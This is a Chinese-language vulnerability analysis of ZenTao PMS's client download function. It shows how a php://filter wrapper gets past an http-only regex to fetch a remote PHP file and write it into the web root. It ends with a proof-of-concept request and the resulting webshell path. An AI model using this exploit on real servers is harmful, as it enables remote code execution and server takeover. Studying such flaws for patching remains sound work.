分析
zentaopms\module\client\control.php
函数download
1 2 3 4 5 6 7 8 9 10
| public function download($version = '', $link = '', $os = '') { set_time_limit(0); $result = $this->client->downloadZipPackage($version, $link); if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); $client = $this->client->edit($version, $result, $os); if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse'))); }
|
接受三个参数,禅道的参数可以通过url路由直接传入进来,
跟进downloadZipPackage
首先会进入zentaopms\module\client\ext\model\xuanxuan.php
中的downloadZipPackage
对$link
进行base64解码后进行正则匹配
1 2 3 4 5 6 7 8
| public function downloadZipPackage($version, $link) { $decodeLink = helper::safe64Decode($link); if(preg_match('/^https?\:\/\//', $decodeLink)){ echo "fail"; return false;} echo "regsuccess"; return parent::downloadZipPackage($version, $link); }
|
匹配规则/^https?\:\/\//
,禁止了传入link以http或者https开头,那么可以采用其他协议来进行绕过比如ftp或者php伪协议
匹配通过最后进入到zentaopms\module\client\model.php
中的downloadZipPackage
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public function downloadZipPackage($version, $link) { ignore_user_abort(true); set_time_limit(0); if(empty($version) || empty($link)) return false; $dir = "data/client/" . $version . '/'; $link = helper::safe64Decode($link); $file = basename($link); if(!is_dir($this->app->wwwRoot . $dir)) { mkdir($this->app->wwwRoot . $dir, 0755, true); } if(!is_dir($this->app->wwwRoot . $dir)) return false; if(file_exists($this->app->wwwRoot . $dir . $file)) { return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; } ob_clean(); ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w'); $remote = fopen($link, 'rb'); if($remote === false) return false; while(!feof($remote)) { $buffer = fread($remote, 4096); fwrite($local, $buffer); } fclose($local); fclose($remote); return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; }
|
流程就是来读取远程文件并写入到/www/data/$version/
目录下保存文件名为原文件名,并未对后缀名进行限制,在禅道最新版中修复代码即是验证了文件名是否在白名单内
利用
1
| $link = base64_encode("php://filter/read=string.toupper/resource=http://xxx/697ec6bd042242db968c8f27f398d7e5.php");
|
poc:
1
| /index.php?m=client&f=download&version=1&link=base64code&os=win
|
http://www/data/client/1/697ec6bd042242db968c8f27f398d7e5.php